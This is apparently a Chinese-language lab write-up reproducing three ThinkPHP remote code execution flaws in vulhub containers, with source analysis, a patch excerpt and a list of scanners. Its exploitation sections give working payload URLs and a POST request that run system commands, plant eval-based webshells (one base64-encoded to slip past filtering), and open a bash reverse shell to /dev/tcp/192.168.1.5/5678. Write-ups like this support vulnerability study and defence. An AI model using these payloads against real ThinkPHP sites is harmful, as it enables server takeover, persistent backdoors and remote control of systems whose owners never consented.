thinkphp2.x任意代码执行漏洞
1 2
| 漏洞条件:thinkphp2.x&&php版文为5.6.29以下 漏洞利用目标函数:preg_replace /e
|
漏洞实验环境
1 2
| 靶机:kali虚拟机 攻击机:Windows11
|
为了方便,这里用的是vulhub靶场vulhub官网
vulhub靶场下载
vulhub介绍
vulhub是一个开源漏洞靶场,可以在安装docker和docker-compose后,使用简单的指令搭建漏洞环境,具体介绍可以看官网。可以安装在windows、linux上
开启vulhub靶场–打开docker
1 2
| cd vulhub-master/thinkphp/2-rce docker-compose up -d
|

通过docker ps查看开启的8080端口

通过命令ifconfig查看虚拟机的ip来准备侵入

输入错误的url地址报错显示thinkPHP版本信息为2.1

通过浏览器插件Wappalyzer可以看到php版本为5.5.38,小于5.6.29版本,满足条件

漏洞利用方式:
查看phpinfo()
1
| http://xx.xx.xx.xx:8080/index.php?s=/a/b/c/${phpinfo()}
|

构造一句话木马
1
| http://192.168.190.131:8080/index.php?s=/a/b/c/${print(eval($_POST[a]))}
|

也可以使用蚁剑链接
这就是漏洞的利用方式
漏洞原理:
漏洞存在的文件
1
| /ThinkPHP/Lib/Think/Util/Dispatcher.class.php
|

参考文章https://www.kancloud.cn/manual/thinkphp5_1/353955得到:url访问规则
1 2 3 4 5 6
| ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是: http://serverName/index.php(或者其它应用入口文件)/模块控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下: http://serverName/index.php(或者其它应用入口文件) ?s=/模块/控制器/操作/[参数名/参数值...]
|
关键漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $depr = C('URL_PATHINFO_DEPR'); // 分析PATHINFO信息 self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { // 禁止直接访问分组 exit; } } if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称 $var[C('VAR_MODULE')] = array_shift($paths); } $var[C('VAR_ACTION')] = array_shift($paths); // 解析剩余的URL参数 $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); $_GET = array_merge($var,$_GET); }
|
利用preg_replace的/e模式匹配路由
1 2 3 4 5 6
| $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); preg_replace('正则规则','替换字符','目标字符') //正则表达式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e' //替换字符:'$var[\'\\1\']="\\2";' //目标字符: implode($depr,$paths) //这个函数5.2~5.6都可以执行,但是到了版本7以上,就已经不支持/e修饰符了
|
先看到$var['\1']=”\2”;,而$var是一个array
结合代码理解一下
代码一: 注意看当前的变量a值为字符串,且该字符串本脚本没有相同的函数名
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function test($str) { echo "This func is run $str ."; }
$a='GoodGoodStudy'; $b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果: [bbbGoodGoodStudybbb]
|
代码二:注意看当前的变量a值为test()
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function test($str) { echo "This func is run $str ."; }
$a='test()'; $b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果: This func is run .[bbbbbb]
|
可以发现执行了test()这个函数,但是并没有传递参数进去
代码三:注意看当前的变量a值为test(“\1”)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function test($str) { echo "This func is run $str ."; }
$a='test("\1")'; $b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果: This func is run helloworld .[bbbbbb]
|
可以发现执行了test()这个函数,我们表面传递的参数是”\1”,结果表面参数确实传递进去了,但是本例传进去的是helloworld,helloworld是经过preg_replace()函数匹配要替换掉的原本那部分,现在转而成了参数进行传递了。
那我们假设现在$b的值是可控的,用户可以传参控制。
代码四:控制$b传递一个已知变量$c
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function test($str) { echo "This func is run $str ."; }
$a='test("\1")'; $b='aaa$caaa'; $c="CXK";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果: This func is run CXK .
|
基于这个结果,在php当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。
代码五:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
echo phpversion(); echo "\n";
$a = "CXK";
echo "aaaaa{${a}}aaaaaa"; echo "\n";
echo "aaaaa${phpversion()}aaaaaa";
运行结果: 5.6.19 aaaaaCXKaaaaaa Notice: Undefined variable: 5.6.19 in <b>[...][...] on line 11 aaaaaaaaaaa
|
可以看到,因为没有一个变量名为5.6.19所以报错了,但是代码却执行了,有点像报错注入的感觉
回到ThinkPHP的代码中来,可控的位置为implode($depr,$paths),implode()是将数组转成字符串,而’$var['\1']=”\2”;’是对一个数组做操作。
来分析一下正则(\w+)/([^/]+),这个正则的意思是取路径的每两个参数。
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $var = array(); $a='$var[\'\\1\']="\\2";'; $b='a/b/c/d/e/f'; preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
print_r($var);
运行结果: Array ( [a] => b [c] => d [e] => f )
|
通过上面的代码,更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程中,上述例子如果$b可控,同样会发生代码执行。
代码:此时$b采用的是双引号闭合的,注意如果采用单引号则不会有代码执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $var = array(); $a='$var[\'\\1\']="\\2";'; $b="a/{${phpversion()}}/c/d/e/f"; preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
print_r($var); 运行结果: Notice: Undefined variable: 5.4.6 in [...][...]on line 5 Array ( [c] => d [e] => f )
|
需要说明的是,代码执行的位置,必须是数组值的位置而不是键的位置。
然后再回到ThinkPHP的代码中来
1 2 3 4 5 6 7 8
| if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称 $var[C('VAR_MODULE')] = array_shift($paths); } $var[C('VAR_ACTION')] = array_shift($paths); // 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); $_GET = array_merge($var,$_GET);
|
数组$var在路径存在模块和动作时,会去除掉前两个值。而数组$var来自于explode($depr,trim($_SERVER[‘PATH_INFO’],’/‘));也就是路径。
所以我们可以构造poc如下:
1 2 3 4 5 6
| /index.php?s=a/b/c/${phpinfo()} /index.php?s=a/b/c/${phpinfo()}/c/d/e/f /index.php?s=a/b/c/d/e/${phpinfo()} ......
/index.php?s=a/b/c/${@print(eval($_POST[1]))}
|
参考博客链接
https://www.freebuf.com/column/223149.html
https://www.cnblogs.com/cute-puli/p/14656631.html
https://blog.csdn.net/Hezhoutheone/article/details/120367626
简单总结,Thinkphp2x漏洞利用了thinkphp的路由规则,如/a/b/c/d,解析为键值对,在解析URL参数时,使用了preg_replace函数的/e修饰符(PHP5.5版本抛弃了此设定),该修饰符允许将替换字符作为PHP代码执行,我们可以利用这一点实现RCE。修复此漏洞可以进行URL参数过滤,升级thinkphp版本是最优解,因为thinkphp2x版本是老版本,应该选择中间稳定的版本,不仅避免了漏洞,还优化了服务。
thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
漏洞原理
Thinkphp是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误的处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
环境搭建
1 2 3 4 5
| cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps
|

漏洞分析
Thinkphp v5.0.x 补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
关键代码:
/var/www/thinkphp/library/think/App.php

修复
1 2 3 4 5 6 7 8 9 10
| // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
|
漏洞发现
TideFinger
项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注”Tide安全团队”公众号,回复指纹,下载Golang版TideFinger
1
| ./TideFinger_Linux -u http://192.168.201.128:8080/ -pd
|

afrog
项目地址:https://github.com/zan8in/afrog
下载地址:https://github.com/zan8in/afrog/releases下载linux amd64的

xray
下载地址:https://download.xray.cool/xray/1.9.4
1
| xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output ming.html
|
操作较为繁杂,直接看教程
xray使用教程
打开生成的网页ming.html

thinkphp_scan
下载地址:https://github.com/anx0ing/thinkphp_scan

thinkphpRCE
下载地址https://github.com/sukabuliet/ThinkphpRCE

蓝鲸


漏洞验证利用
phpinfo
payload
1
| http://192.168.201.128:8080/index.php/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
|

任意代码执行
payload
1
| http://192.168.201.128:8080/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|

写入webshell
payload
1 2 3
| <?php phpinfo(); eval(@$_POST['cmd']); ?>
http://192.168.201.128:8080/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST%5B'cmd'%5D)%3B%20%3F%3E
|
蚁剑连接后门

反弹shell
1
| http://192.168.201.128:8080/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.5/5678+0>%261'
|

ThinkPHP 5.x 远程命令执行漏洞分析与复现
thinkphp5 5.0.23 远程代码执行漏洞
漏洞原理
在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误的对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
环境搭建
1 2 3 4 5
| cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
docker ps
|
漏洞发现
TideFinger
项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可
1
| TideFinger.exe -u http://192.168.201.128:8080/ -pd
|

afrog
项目地址:https://github.com/zan8in/afrog
下载地址:https://github.com/zan8in/afrog/releases

xray
1
| xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output ming1.html
|

thinkphp_scan
项目地址:https://github.com/anx0ing/thinkphp_scan

ThinkphpRCE
项目地址:https://github.com/sukabuliet/ThinkphpRCE

蓝鲸


漏洞验证利用
发送如下数据包,尝试执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /index.php?s=captcha HTTP/1.1 Host: 192.168.201.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 80 Origin: http://192.168.201.128:8080 Connection: close Referer: http://192.168.201.128:8080/ Upgrade-Insecure-Requests: 1 Priority: u=1
_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id
|

传后门
1 2 3 4 5
| _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php phpinfo(); eval(@$_REQUEST['cmd']); ?>' > shell3.php
这里不能用 get 和 post 只能用 request <?php @eval($_GET["cmd"]);?> 失败 <?php @eval($_POST["cmd"]);?> 失败
|
成功连接到蚁剑
整个新姿势,base64编码绕过过滤
1
| _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgcGhwaW5mbygpOyBldmFsKEAkX1JFUVVFU1RbJ2NtZCddKTsgPz4= | base64 -d > shell1.php
|
